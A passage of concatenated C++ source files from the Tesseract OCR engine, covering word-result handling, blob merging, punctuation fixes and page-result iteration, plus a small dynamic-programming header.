denorm = word->denorm;
blob_row = word->blob_row;
MovePointerData(&chopped_word, &word->chopped_word);
MovePointerData(&rebuild_word, &word->rebuild_word);
MovePointerData(&box_word, &word->box_word);
seam_array.delete_data_pointers();
seam_array = word->seam_array;
word->seam_array.clear();
best_state.move(&word->best_state);
correct_text.move(&word->correct_text);
blob_widths.move(&word->blob_widths);
blob_gaps.move(&word->blob_gaps);
if (ratings != NULL) ratings->delete_matrix_pointers();
MovePointerData(&ratings, &word->ratings);
best_choice = word->best_choice;
MovePointerData(&raw_choice, &word->raw_choice);
best_choices.clear();
WERD_CHOICE_IT wc_it(&best_choices);
wc_it.add_list_after(&word->best_choices);
reject_map = word->reject_map;
if (word->blamer_bundle != NULL) {
assert(blamer_bundle != NULL);
blamer_bundle->CopyResults(*(word->blamer_bundle));
}
CopySimpleFields(*word);
}
// Replace the best choice and rebuild box word.
// choice must be from the current best_choices list.
void WERD_RES::ReplaceBestChoice(WERD_CHOICE* choice) {
best_choice = choice;
RebuildBestState();
SetupBoxWord();
// Make up a fake reject map of the right length to keep the
// rejection pass happy.
reject_map.initialise(best_state.length());
done = tess_accepted = tess_would_adapt = true;
SetScriptPositions();
}
// Builds the rebuild_word and sets the best_state from the chopped_word and
// the best_choice->state.
void WERD_RES::RebuildBestState() {
ASSERT_HOST(best_choice != NULL);
if (rebuild_word != NULL)
delete rebuild_word;
rebuild_word = new TWERD;
if (seam_array.empty())
start_seam_list(chopped_word, &seam_array);
best_state.truncate(0);
int start = 0;
for (int i = 0; i < best_choice->length(); ++i) {
int length = best_choice->state(i);
best_state.push_back(length);
if (length > 1)
join_pieces(seam_array, start, start + length - 1, chopped_word);
TBLOB* blob = chopped_word->blobs[start];
rebuild_word->blobs.push_back(new TBLOB(*blob));
if (length > 1)
break_pieces(seam_array, start, start + length - 1, chopped_word);
start += length;
}
}
// Copies the chopped_word to the rebuild_word, faking a best_state as well.
// Also sets up the output box_word.
void WERD_RES::CloneChoppedToRebuild() {
if (rebuild_word != NULL)
delete rebuild_word;
rebuild_word = new TWERD(*chopped_word);
SetupBoxWord();
int word_len = box_word->length();
best_state.reserve(word_len);
correct_text.reserve(word_len);
for (int i = 0; i < word_len; ++i) {
best_state.push_back(1);
correct_text.push_back(STRING(""));
}
}
// Sets/replaces the box_word with one made from the rebuild_word.
void WERD_RES::SetupBoxWord() {
if (box_word != NULL)
delete box_word;
rebuild_word->ComputeBoundingBoxes();
box_word = tesseract::BoxWord::CopyFromNormalized(rebuild_word);
box_word->ClipToOriginalWord(denorm.block(), word);
}
// Sets up the script positions in the output best_choice using the best_choice
// to get the unichars, and the unicharset to get the target positions.
void WERD_RES::SetScriptPositions() {
best_choice->SetScriptPositions(small_caps, chopped_word);
}
// Sets all the blobs in all the words (raw choice and best choices) to be
// the given position. (When a sub/superscript is recognized as a separate
// word, it falls victim to the rule that a whole word cannot be sub or
// superscript, so this function overrides that problem.)
void WERD_RES::SetAllScriptPositions(tesseract::ScriptPos position) {
raw_choice->SetAllScriptPositions(position);
WERD_CHOICE_IT wc_it(&best_choices);
for (wc_it.mark_cycle_pt(); !wc_it.cycled_list(); wc_it.forward())
wc_it.data()->SetAllScriptPositions(position);
}
// Classifies the word with some already-calculated BLOB_CHOICEs.
// The choices are an array of blob_count pointers to BLOB_CHOICE,
// providing a single classifier result for each blob.
// The BLOB_CHOICEs are consumed and the word takes ownership.
// The number of blobs in the box_word must match blob_count.
void WERD_RES::FakeClassifyWord(int blob_count, BLOB_CHOICE** choices) {
// Setup the WERD_RES.
ASSERT_HOST(box_word != NULL);
ASSERT_HOST(blob_count == box_word->length());
ClearWordChoices();
ClearRatings();
ratings = new MATRIX(blob_count, 1);
for (int c = 0; c < blob_count; ++c) {
BLOB_CHOICE_LIST* choice_list = new BLOB_CHOICE_LIST;
BLOB_CHOICE_IT choice_it(choice_list);
choice_it.add_after_then_move(choices[c]);
ratings->put(c, c, choice_list);
}
FakeWordFromRatings();
reject_map.initialise(blob_count);
done = true;
}
// Creates a WERD_CHOICE for the word using the top choices from the leading
// diagonal of the ratings matrix.
void WERD_RES::FakeWordFromRatings() {
int num_blobs = ratings->dimension();
WERD_CHOICE* word_choice = new WERD_CHOICE(uch_set, num_blobs);
word_choice->set_permuter(TOP_CHOICE_PERM);
for (int b = 0; b < num_blobs; ++b) {
UNICHAR_ID unichar_id = UNICHAR_SPACE;
float rating = MAX_INT32;
float certainty = -MAX_INT32;
BLOB_CHOICE_LIST* choices = ratings->get(b, b);
if (choices != NULL && !choices->empty()) {
BLOB_CHOICE_IT bc_it(choices);
BLOB_CHOICE* choice = bc_it.data();
unichar_id = choice->unichar_id();
rating = choice->rating();
certainty = choice->certainty();
}
word_choice->append_unichar_id_space_allocated(unichar_id, 1, rating,
certainty);
}
LogNewRawChoice(word_choice);
// Ownership of word_choice taken by word here.
LogNewCookedChoice(1, false, word_choice);
}
// Copies the best_choice strings to the correct_text for adaption/training.
void WERD_RES::BestChoiceToCorrectText() {
correct_text.clear();
ASSERT_HOST(best_choice != NULL);
for (int i = 0; i < best_choice->length(); ++i) {
UNICHAR_ID choice_id = best_choice->unichar_id(i);
const char* blob_choice = uch_set->id_to_unichar(choice_id);
correct_text.push_back(STRING(blob_choice));
}
}
// Merges 2 adjacent blobs in the result if the permanent callback
// class_cb returns other than INVALID_UNICHAR_ID, AND the permanent
// callback box_cb is NULL or returns true, setting the merged blob
// result to the class returned from class_cb.
// Returns true if anything was merged.
bool WERD_RES::ConditionalBlobMerge(
TessResultCallback2<UNICHAR_ID, UNICHAR_ID, UNICHAR_ID>* class_cb,
TessResultCallback2<bool, const TBOX&, const TBOX&>* box_cb) {
ASSERT_HOST(best_choice->length() == 0 || ratings != NULL);
bool modified = false;
for (int i = 0; i + 1 < best_choice->length(); ++i) {
UNICHAR_ID new_id = class_cb->Run(best_choice->unichar_id(i),
best_choice->unichar_id(i+1));
if (new_id != INVALID_UNICHAR_ID &&
(box_cb == NULL || box_cb->Run(box_word->BlobBox(i),
box_word->BlobBox(i + 1)))) {
// Raw choice should not be fixed.
best_choice->set_unichar_id(new_id, i);
modified = true;
MergeAdjacentBlobs(i);
const MATRIX_COORD& coord = best_choice->MatrixCoord(i);
if (!coord.Valid(*ratings)) {
ratings->IncreaseBandSize(coord.row + 1 - coord.col);
}
BLOB_CHOICE_LIST* blob_choices = GetBlobChoices(i);
if (FindMatchingChoice(new_id, blob_choices) == NULL) {
// Insert a fake result.
BLOB_CHOICE* blob_choice = new BLOB_CHOICE;
blob_choice->set_unichar_id(new_id);
BLOB_CHOICE_IT bc_it(blob_choices);
bc_it.add_before_then_move(blob_choice);
}
}
}
delete class_cb;
delete box_cb;
return modified;
}
// Merges 2 adjacent blobs in the result (index and index+1) and corrects
// all the data to account for the change.
void WERD_RES::MergeAdjacentBlobs(int index) {
if (reject_map.length() == best_choice->length())
reject_map.remove_pos(index);
best_choice->remove_unichar_id(index + 1);
rebuild_word->MergeBlobs(index, index + 2);
box_word->MergeBoxes(index, index + 2);
if (index + 1 < best_state.length()) {
best_state[index] += best_state[index + 1];
best_state.remove(index + 1);
}
}
// TODO(tkielbus) Decide between keeping this behavior here or modifying the
// training data.
// Utility function for fix_quotes
// Return true if the next character in the string (given the UTF8 length in
// bytes) is a quote character.
static int is_simple_quote(const char* signed_str, int length) {
const unsigned char* str =
reinterpret_cast<const unsigned char*>(signed_str);
// Standard 1 byte quotes.
return (length == 1 && (*str == '\'' || *str == '`')) ||
// UTF-8 3 bytes curved quotes.
(length == 3 && ((*str == 0xe2 &&
*(str + 1) == 0x80 &&
*(str + 2) == 0x98) ||
(*str == 0xe2 &&
*(str + 1) == 0x80 &&
*(str + 2) == 0x99)));
}
// Callback helper for fix_quotes returns a double quote if both
// arguments are quote, otherwise INVALID_UNICHAR_ID.
UNICHAR_ID WERD_RES::BothQuotes(UNICHAR_ID id1, UNICHAR_ID id2) {
const char *ch = uch_set->id_to_unichar(id1);
const char *next_ch = uch_set->id_to_unichar(id2);
if (is_simple_quote(ch, strlen(ch)) &&
is_simple_quote(next_ch, strlen(next_ch)))
return uch_set->unichar_to_id("\"");
return INVALID_UNICHAR_ID;
}
// Change pairs of quotes to double quotes.
void WERD_RES::fix_quotes() {
if (!uch_set->contains_unichar("\"") ||
!uch_set->get_enabled(uch_set->unichar_to_id("\"")))
return; // Don't create it if it is disallowed.
ConditionalBlobMerge(
NewPermanentTessCallback(this, &WERD_RES::BothQuotes),
NULL);
}
// Callback helper for fix_hyphens returns UNICHAR_ID of - if both
// arguments are hyphen, otherwise INVALID_UNICHAR_ID.
UNICHAR_ID WERD_RES::BothHyphens(UNICHAR_ID id1, UNICHAR_ID id2) {
const char *ch = uch_set->id_to_unichar(id1);
const char *next_ch = uch_set->id_to_unichar(id2);
if (strlen(ch) == 1 && strlen(next_ch) == 1 &&
(*ch == '-' || *ch == '~') && (*next_ch == '-' || *next_ch == '~'))
return uch_set->unichar_to_id("-");
return INVALID_UNICHAR_ID;
}
// Callback helper for fix_hyphens returns true if box1 and box2 overlap
// (assuming both on the same textline, are in order and a chopped em dash.)
bool WERD_RES::HyphenBoxesOverlap(const TBOX& box1, const TBOX& box2) {
return box1.right() >= box2.left();
}
// Change pairs of hyphens to a single hyphen if the bounding boxes touch
// Typically a long dash which has been segmented.
void WERD_RES::fix_hyphens() {
if (!uch_set->contains_unichar("-") ||
!uch_set->get_enabled(uch_set->unichar_to_id("-")))
return; // Don't create it if it is disallowed.
ConditionalBlobMerge(
NewPermanentTessCallback(this, &WERD_RES::BothHyphens),
NewPermanentTessCallback(this, &WERD_RES::HyphenBoxesOverlap));
}
// Callback helper for merge_tess_fails returns a space if both
// arguments are space, otherwise INVALID_UNICHAR_ID.
UNICHAR_ID WERD_RES::BothSpaces(UNICHAR_ID id1, UNICHAR_ID id2) {
if (id1 == id2 && id1 == uch_set->unichar_to_id(" "))
return id1;
else
return INVALID_UNICHAR_ID;
}
// Change pairs of tess failures to a single one
void WERD_RES::merge_tess_fails() {
if (ConditionalBlobMerge(
NewPermanentTessCallback(this, &WERD_RES::BothSpaces), NULL)) {
int len = best_choice->length();
ASSERT_HOST(reject_map.length() == len);
ASSERT_HOST(box_word->length() == len);
}
}
// Returns true if the collection of count pieces, starting at start, are all
// natural connected components, ie there are no real chops involved.
bool WERD_RES::PiecesAllNatural(int start, int count) const {
// all seams must have no splits.
for (int index = start; index < start + count - 1; ++index) {
if (index >= 0 && index < seam_array.size()) {
SEAM* seam = seam_array[index];
if (seam != NULL && seam->split1 != NULL)
return false;
}
}
return true;
}
WERD_RES::~WERD_RES () {
Clear();
}
void WERD_RES::InitNonPointers() {
tess_failed = FALSE;
tess_accepted = FALSE;
tess_would_adapt = FALSE;
done = FALSE;
unlv_crunch_mode = CR_NONE;
small_caps = false;
odd_size = false;
italic = FALSE;
bold = FALSE;
// The fontinfos and tesseract count as non-pointers as they point to
// data owned elsewhere.
fontinfo = NULL;
fontinfo2 = NULL;
tesseract = NULL;
fontinfo_id_count = 0;
fontinfo_id2_count = 0;
x_height = 0.0;
caps_height = 0.0;
guessed_x_ht = TRUE;
guessed_caps_ht = TRUE;
combination = FALSE;
part_of_combo = FALSE;
reject_spaces = FALSE;
}
void WERD_RES::InitPointers() {
word = NULL;
bln_boxes = NULL;
blob_row = NULL;
uch_set = NULL;
chopped_word = NULL;
rebuild_word = NULL;
box_word = NULL;
ratings = NULL;
best_choice = NULL;
raw_choice = NULL;
ep_choice = NULL;
blamer_bundle = NULL;
}
void WERD_RES::Clear() {
if (word != NULL && combination) {
delete word;
}
word = NULL;
delete blamer_bundle;
blamer_bundle = NULL;
ClearResults();
}
void WERD_RES::ClearResults() {
done = false;
fontinfo = NULL;
fontinfo2 = NULL;
fontinfo_id_count = 0;
fontinfo_id2_count = 0;
if (bln_boxes != NULL) {
delete bln_boxes;
bln_boxes = NULL;
}
blob_row = NULL;
if (chopped_word != NULL) {
delete chopped_word;
chopped_word = NULL;
}
if (rebuild_word != NULL) {
delete rebuild_word;
rebuild_word = NULL;
}
if (box_word != NULL) {
delete box_word;
box_word = NULL;
}
best_state.clear();
correct_text.clear();
seam_array.delete_data_pointers();
seam_array.clear();
blob_widths.clear();
blob_gaps.clear();
ClearRatings();
ClearWordChoices();
if (blamer_bundle != NULL) blamer_bundle->ClearResults();
}
void WERD_RES::ClearWordChoices() {
best_choice = NULL;
if (raw_choice != NULL) {
delete raw_choice;
raw_choice = NULL;
}
best_choices.clear();
if (ep_choice != NULL) {
delete ep_choice;
ep_choice = NULL;
}
}
void WERD_RES::ClearRatings() {
if (ratings != NULL) {
ratings->delete_matrix_pointers();
delete ratings;
ratings = NULL;
}
}
bool PAGE_RES_IT::operator ==(const PAGE_RES_IT &other) const {
return word_res == other.word_res &&
row_res == other.row_res &&
block_res == other.block_res;
}
int PAGE_RES_IT::cmp(const PAGE_RES_IT &other) const {
ASSERT_HOST(page_res == other.page_res);
if (other.block_res == NULL) {
// other points to the end of the page.
if (block_res == NULL)
return 0;
return -1;
}
if (block_res == NULL) {
return 1; // we point to the end of the page.
}
if (block_res == other.block_res) {
if (other.row_res == NULL || row_res == NULL) {
// this should only happen if we hit an image block.
return 0;
}
if (row_res == other.row_res) {
// we point to the same block and row.
ASSERT_HOST(other.word_res != NULL && word_res != NULL);
if (word_res == other.word_res) {
// we point to the same word!
return 0;
}
WERD_RES_IT word_res_it(&row_res->word_res_list);
for (word_res_it.mark_cycle_pt(); !word_res_it.cycled_list();
word_res_it.forward()) {
if (word_res_it.data() == word_res) {
return -1;
} else if (word_res_it.data() == other.word_res) {
return 1;
}
}
ASSERT_HOST("Error: Incomparable PAGE_RES_ITs" == NULL);
}
// we both point to the same block, but different rows.
ROW_RES_IT row_res_it(&block_res->row_res_list);
for (row_res_it.mark_cycle_pt(); !row_res_it.cycled_list();
row_res_it.forward()) {
if (row_res_it.data() == row_res) {
return -1;
} else if (row_res_it.data() == other.row_res) {
return 1;
}
}
ASSERT_HOST("Error: Incomparable PAGE_RES_ITs" == NULL);
}
// We point to different blocks.
BLOCK_RES_IT block_res_it(&page_res->block_res_list);
for (block_res_it.mark_cycle_pt();
!block_res_it.cycled_list(); block_res_it.forward()) {
if (block_res_it.data() == block_res) {
return -1;
} else if (block_res_it.data() == other.block_res) {
return 1;
}
}
// Shouldn't happen...
ASSERT_HOST("Error: Incomparable PAGE_RES_ITs" == NULL);
return 0;
}
// Inserts the new_word and a corresponding WERD_RES before the current
// position. The simple fields of the WERD_RES are copied from clone_res and
// the resulting WERD_RES is returned for further setup with best_choice etc.
WERD_RES* PAGE_RES_IT::InsertSimpleCloneWord(const WERD_RES& clone_res,
WERD* new_word) {
// Insert new_word into the ROW.
WERD_IT w_it(row()->row->word_list());
for (w_it.mark_cycle_pt(); !w_it.cycled_list(); w_it.forward()) {
WERD* word = w_it.data();
if (word == word_res->word)
break;
}
ASSERT_HOST(!w_it.cycled_list());
w_it.add_before_then_move(new_word);
// Make a WERD_RES for the new_word.
WERD_RES* new_res = new WERD_RES(new_word);
new_res->CopySimpleFields(clone_res);
// Insert into the appropriate place in the ROW_RES.
WERD_RES_IT wr_it(&row()->word_res_list);
for (wr_it.mark_cycle_pt(); !wr_it.cycled_list(); wr_it.forward()) {
WERD_RES* word = wr_it.data();
if (word == word_res)
break;
}
ASSERT_HOST(!wr_it.cycled_list());
wr_it.add_before_then_move(new_res);
if (wr_it.at_first()) {
// This is the new first word, so reset the member iterator so it
// detects the cycled_list state correctly.
ResetWordIterator();
}
return new_res;
}
// Helper computes the boundaries between blobs in the word. The blob bounds
// are likely very poor, if they come from LSTM, where it only outputs the
// character at one pixel within it, so we find the midpoints between them.
static void ComputeBlobEnds(const WERD_RES& word, C_BLOB_LIST* next_word_blobs,
GenericVector<int>* blob_ends) {
C_BLOB_IT blob_it(word.word->cblob_list());
for (int i = 0; i < word.best_state.size(); ++i) {
int length = word.best_state[i];
// Get the bounding box of the fake blobs
TBOX blob_box = blob_it.data()->bounding_box();
blob_it.forward();
for (int b = 1; b < length; ++b) {
blob_box += blob_it.data()->bounding_box();
blob_it.forward();
}
// This blob_box is crap, so for now we are only looking for the
// boundaries between them.
int blob_end = MAX_INT32;
if (!blob_it.at_first() || next_word_blobs != NULL) {
if (blob_it.at_first())
blob_it.set_to_list(next_word_blobs);
blob_end = (blob_box.right() + blob_it.data()->bounding_box().left()) / 2;
}
blob_ends->push_back(blob_end);
}
}
// Replaces the current WERD/WERD_RES with the given words. The given words
// contain fake blobs that indicate the position of the characters. These are
// replaced with real blobs from the current word as much as possible.
void PAGE_RES_IT::ReplaceCurrentWord(
tesseract::PointerVector<WERD_RES>* words) {
WERD_RES* input_word = word();
// Set the BOL/EOL flags on the words from the input word.
if (input_word->word->flag(W_BOL)) {
(*words)[0]->word->set_flag(W_BOL, true);
} else {
(*words)[0]->word->set_blanks(1);
}
words->back()->word->set_flag(W_EOL, input_word->word->flag(W_EOL));
// Move the blobs from the input word to the new set of words.
// If the input word_res is a combination, then the replacements will also be
// combinations, and will own their own words. If the input word_res is not a
// combination, then the final replacements will not be either, (although it
// is allowed for the input words to be combinations) and their words
// will get put on the row list. This maintains the ownership rules.
WERD_IT w_it(row()->row->word_list());
if (!input_word->combination) {
for (w_it.mark_cycle_pt(); !w_it.cycled_list(); w_it.forward()) {
WERD* word = w_it.data();
if (word == input_word->word)
break;
}
// w_it is now set to the input_word's word.
ASSERT_HOST(!w_it.cycled_list());
}
// Insert into the appropriate place in the ROW_RES.
WERD_RES_IT wr_it(&row()->word_res_list);
for (wr_it.mark_cycle_pt(); !wr_it.cycled_list(); wr_it.forward()) {
WERD_RES* word = wr_it.data();
if (word == input_word)
break;
}
ASSERT_HOST(!wr_it.cycled_list());
// Since we only have an estimate of the bounds between blobs, use the blob
// x-middle as the determiner of where to put the blobs
C_BLOB_IT src_b_it(input_word->word->cblob_list());
src_b_it.sort(&C_BLOB::SortByXMiddle);
C_BLOB_IT rej_b_it(input_word->word->rej_cblob_list());
rej_b_it.sort(&C_BLOB::SortByXMiddle);
for (int w = 0; w < words->size(); ++w) {
WERD_RES* word_w = (*words)[w];
// Compute blob boundaries.
GenericVector<int> blob_ends;
C_BLOB_LIST* next_word_blobs =
w + 1 < words->size() ? (*words)[w + 1]->word->cblob_list() : NULL;
ComputeBlobEnds(*word_w, next_word_blobs, &blob_ends);
// Delete the fake blobs on the current word.
word_w->word->cblob_list()->clear();
C_BLOB_IT dest_it(word_w->word->cblob_list());
// Build the box word as we move the blobs.
tesseract::BoxWord* box_word = new tesseract::BoxWord;
for (int i = 0; i < blob_ends.size(); ++i) {
int end_x = blob_ends[i];
TBOX blob_box;
// Add the blobs up to end_x.
while (!src_b_it.empty() &&
src_b_it.data()->bounding_box().x_middle() < end_x) {
blob_box += src_b_it.data()->bounding_box();
dest_it.add_after_then_move(src_b_it.extract());
src_b_it.forward();
}
while (!rej_b_it.empty() &&
rej_b_it.data()->bounding_box().x_middle() < end_x) {
blob_box += rej_b_it.data()->bounding_box();
dest_it.add_after_then_move(rej_b_it.extract());
rej_b_it.forward();
}
// Clip to the previously computed bounds. Although imperfectly accurate,
// it is good enough, and much more complicated to determine where else
// to clip.
if (i > 0 && blob_box.left() < blob_ends[i - 1])
blob_box.set_left(blob_ends[i - 1]);
if (blob_box.right() > end_x)
blob_box.set_right(end_x);
box_word->InsertBox(i, blob_box);
}
// Fix empty boxes. If a very joined blob sits over multiple characters,
// then we will have some empty boxes from using the middle, so look for
// overlaps.
for (int i = 0; i < box_word->length(); ++i) {
TBOX box = box_word->BlobBox(i);
if (box.null_box()) {
// Nothing has its middle in the bounds of this blob, so use anything
// that overlaps.
for (dest_it.mark_cycle_pt(); !dest_it.cycled_list();
dest_it.forward()) {
TBOX blob_box = dest_it.data()->bounding_box();
if (blob_box.left() < blob_ends[i] &&
(i == 0 || blob_box.right() >= blob_ends[i - 1])) {
if (i > 0 && blob_box.left() < blob_ends[i - 1])
blob_box.set_left(blob_ends[i - 1]);
if (blob_box.right() > blob_ends[i])
blob_box.set_right(blob_ends[i]);
box_word->ChangeBox(i, blob_box);
break;
}
}
}
}
delete word_w->box_word;
word_w->box_word = box_word;
if (!input_word->combination) {
// Insert word_w->word into the ROW. It doesn't own its word, so the
// ROW needs to own it.
w_it.add_before_stay_put(word_w->word);
word_w->combination = false;
}
(*words)[w] = NULL; // We are taking ownership.
wr_it.add_before_stay_put(word_w);
}
// We have taken ownership of the words.
words->clear();
// Delete the current word, which has been replaced. We could just call
// DeleteCurrentWord, but that would iterate both lists again, and we know
// we are already in the right place.
if (!input_word->combination)
delete w_it.extract();
delete wr_it.extract();
ResetWordIterator();
}
// Deletes the current WERD_RES and its underlying WERD.
void PAGE_RES_IT::DeleteCurrentWord() {
// Check that this word is as we expect. part_of_combos are NEVER iterated
// by the normal iterator, so we should never be trying to delete them.
ASSERT_HOST(!word_res->part_of_combo);
if (!word_res->combination) {
// Combinations own their own word, so we won't find the word on the
// row's word_list, but it is legitimate to try to delete them.
// Delete word from the ROW when not a combination.
WERD_IT w_it(row()->row->word_list());
for (w_it.mark_cycle_pt(); !w_it.cycled_list(); w_it.forward()) {
if (w_it.data() == word_res->word) {
break;
}
}
ASSERT_HOST(!w_it.cycled_list());
delete w_it.extract();
}
// Remove the WERD_RES for the new_word.
// Remove the WORD_RES from the ROW_RES.
WERD_RES_IT wr_it(&row()->word_res_list);
for (wr_it.mark_cycle_pt(); !wr_it.cycled_list(); wr_it.forward()) {
if (wr_it.data() == word_res) {
word_res = NULL;
break;
}
}
ASSERT_HOST(!wr_it.cycled_list());
delete wr_it.extract();
ResetWordIterator();
}
/*************************************************************************
* PAGE_RES_IT::restart_page
*
* Set things up at the start of the page
*************************************************************************/
WERD_RES *PAGE_RES_IT::start_page(bool empty_ok) {
block_res_it.set_to_list(&page_res->block_res_list);
block_res_it.mark_cycle_pt();
prev_block_res = NULL;
prev_row_res = NULL;
prev_word_res = NULL;
block_res = NULL;
row_res = NULL;
word_res = NULL;
next_block_res = NULL;
next_row_res = NULL;
next_word_res = NULL;
internal_forward(true, empty_ok);
return internal_forward(false, empty_ok);
}
// Recovers from operations on the current word, such as in InsertCloneWord
// and DeleteCurrentWord.
// Resets the word_res_it so that it is one past the next_word_res, as
// it should be after internal_forward. If next_row_res != row_res,
// then the next_word_res is in the next row, so there is no need to do
// anything to word_res_it, but it is still a good idea to reset the pointers
// word_res and prev_word_res, which are still in the current row.
void PAGE_RES_IT::ResetWordIterator() {
if (row_res == next_row_res) {
// Reset the member iterator so it can move forward and detect the
// cycled_list state correctly.
word_res_it.move_to_first();
word_res_it.mark_cycle_pt();
while (!word_res_it.cycled_list() && word_res_it.data() != next_word_res) {
if (prev_row_res == row_res)
prev_word_res = word_res;
word_res = word_res_it.data();
word_res_it.forward();
}
ASSERT_HOST(!word_res_it.cycled_list());
word_res_it.forward();
} else {
// word_res_it is OK, but reset word_res and prev_word_res if needed.
WERD_RES_IT wr_it(&row_res->word_res_list);
for (wr_it.mark_cycle_pt(); !wr_it.cycled_list(); wr_it.forward()) {
if (prev_row_res == row_res)
prev_word_res = word_res;
word_res = wr_it.data();
}
}
}
/*************************************************************************
* PAGE_RES_IT::internal_forward
*
* Find the next word on the page. If empty_ok is true, then non-text blocks
* and text blocks with no text are visited as if they contain a single
* imaginary word in a single imaginary row. (word() and row() both return NULL
* in such a block and the return value is NULL.)
* If empty_ok is false, the old behaviour is maintained. Each real word
* is visited and empty and non-text blocks and rows are skipped.
* new_block is used to initialize the iterators for a new block.
* The iterator maintains pointers to block, row and word for the previous,
* current and next words. These are correct, regardless of block/row
* boundaries. NULL values denote start and end of the page.
*************************************************************************/
WERD_RES *PAGE_RES_IT::internal_forward(bool new_block, bool empty_ok) {
bool new_row = false;
prev_block_res = block_res;
prev_row_res = row_res;
prev_word_res = word_res;
block_res = next_block_res;
row_res = next_row_res;
word_res = next_word_res;
next_block_res = NULL;
next_row_res = NULL;
next_word_res = NULL;
while (!block_res_it.cycled_list()) {
if (new_block) {
new_block = false;
row_res_it.set_to_list(&block_res_it.data()->row_res_list);
row_res_it.mark_cycle_pt();
if (row_res_it.empty() && empty_ok) {
next_block_res = block_res_it.data();
break;
}
new_row = true;
}
while (!row_res_it.cycled_list()) {
if (new_row) {
new_row = false;
word_res_it.set_to_list(&row_res_it.data()->word_res_list);
word_res_it.mark_cycle_pt();
}
// Skip any part_of_combo words.
while (!word_res_it.cycled_list() && word_res_it.data()->part_of_combo)
word_res_it.forward();
if (!word_res_it.cycled_list()) {
next_block_res = block_res_it.data();
next_row_res = row_res_it.data();
next_word_res = word_res_it.data();
word_res_it.forward();
goto foundword;
}
// end of row reached
row_res_it.forward();
new_row = true;
}
// end of block reached
block_res_it.forward();
new_block = true;
}
foundword:
// Update prev_word_best_choice pointer.
if (page_res != NULL && page_res->prev_word_best_choice != NULL) {
*page_res->prev_word_best_choice =
(new_block || prev_word_res == NULL) ? NULL : prev_word_res->best_choice;
}
return word_res;
}
/*************************************************************************
* PAGE_RES_IT::restart_row()
*
* Move to the beginning (leftmost word) of the current row.
*************************************************************************/
WERD_RES *PAGE_RES_IT::restart_row() {
ROW_RES *row = this->row();
if (!row) return NULL;
for (restart_page(); this->row() != row; forward()) {
// pass
}
return word();
}
/*************************************************************************
* PAGE_RES_IT::forward_paragraph
*
* Move to the beginning of the next paragraph, allowing empty blocks.
*************************************************************************/
WERD_RES *PAGE_RES_IT::forward_paragraph() {
while (block_res == next_block_res &&
(next_row_res != NULL && next_row_res->row != NULL &&
row_res->row->para() == next_row_res->row->para())) {
internal_forward(false, true);
}
return internal_forward(false, true);
}
/*************************************************************************
* PAGE_RES_IT::forward_block
*
* Move to the beginning of the next block, allowing empty blocks.
*************************************************************************/
WERD_RES *PAGE_RES_IT::forward_block() {
while (block_res == next_block_res) {
internal_forward(false, true);
}
return internal_forward(false, true);
}
void PAGE_RES_IT::rej_stat_word() {
inT16 chars_in_word;
inT16 rejects_in_word = 0;
chars_in_word = word_res->reject_map.length ();
page_res->char_count += chars_in_word;
block_res->char_count += chars_in_word;
row_res->char_count += chars_in_word;
rejects_in_word = word_res->reject_map.reject_count ();
page_res->rej_count += rejects_in_word;
block_res->rej_count += rejects_in_word;
row_res->rej_count += rejects_in_word;
if (chars_in_word == rejects_in_word)
row_res->whole_word_rej_count += rejects_in_word;
}
| C++ |
/**********************************************************************
* File: dppoint.h
* Description: Simple generic dynamic programming class.
* Author: Ray Smith
* Created: Wed Mar 25 18:57:01 PDT 2009
*
* (C) Copyright 2009, Google Inc.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#ifndef TESSERACT_CCSTRUCT_DPPOINT_H__
#define TESSERACT_CCSTRUCT_DPPOINT_H__
#include "host.h"
namespace tesseract {
// A simple class to provide a dynamic programming solution to a class of
// 1st-order problems in which the cost is dependent only on the current
// step and the best cost to that step, with a possible special case
// of using the variance of the steps, and only the top choice is required.
// Useful for problems such as finding the optimal cut points in a fixed-pitch
// (vertical or horizontal) situation.
// Skeletal Example:
// DPPoint* array = new DPPoint[width];
// for (int i = 0; i < width; i++) {
// array[i].AddLocalCost(cost_at_i)
// }
// DPPoint* best_end = DPPoint::Solve(..., array);
// while (best_end != NULL) {
// int cut_index = best_end - array;
// best_end = best_end->best_prev();
// }
// delete [] array;
class DPPoint {
public:
// The cost function evaluates the total cost at this (excluding this's
// local_cost) and if it beats this's total_cost, then
// replace the appropriate values in this.
typedef inT64 (DPPoint::*CostFunc)(const DPPoint* prev);
DPPoint()
: local_cost_(0), total_cost_(MAX_INT32), total_steps_(1), best_prev_(NULL),
n_(0), sig_x_(0), sig_xsq_(0) {
}
// Solve the dynamic programming problem for the given array of points, with
// the given size and cost function.
// Steps backwards are limited to being between min_step and max_step
// inclusive.
// The return value is the tail of the best path.
static DPPoint* Solve(int min_step, int max_step, bool debug,
CostFunc cost_func, int size, DPPoint* points);
// A CostFunc that takes the variance of step into account in the cost.
inT64 CostWithVariance(const DPPoint* prev);
// Accessors.
int total_cost() const {
return total_cost_;
}
int Pathlength() const {
return total_steps_;
}
const DPPoint* best_prev() const {
return best_prev_;
}
void AddLocalCost(int new_cost) {
local_cost_ += new_cost;
}
private:
// Code common to different cost functions.
// Update the other members if the cost is lower.
void UpdateIfBetter(inT64 cost, inT32 steps, const DPPoint* prev,
inT32 n, inT32 sig_x, inT64 sig_xsq);
inT32 local_cost_; // Cost of this point on its own.
inT32 total_cost_; // Sum of all costs in best path to here.
// During cost calculations local_cost is excluded.
inT32 total_steps_; // Number of steps in best path to here.
const DPPoint* best_prev_; // Pointer to prev point in best path from here.
// Information for computing the variance part of the cost.
inT32 n_; // Number of steps in best path to here for variance.
inT32 sig_x_; // Sum of step sizes for computing variance.
inT64 sig_xsq_; // Sum of squares of steps for computing variance.
};
} // namespace tesseract.
#endif // TESSERACT_CCSTRUCT_DPPOINT_H__
| C++ |
/**********************************************************************
* File: werd.cpp (Formerly word.c)
* Description: Code for the WERD class.
* Author: Ray Smith
* Created: Tue Oct 08 14:32:12 BST 1991
*
* (C) Copyright 1991, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
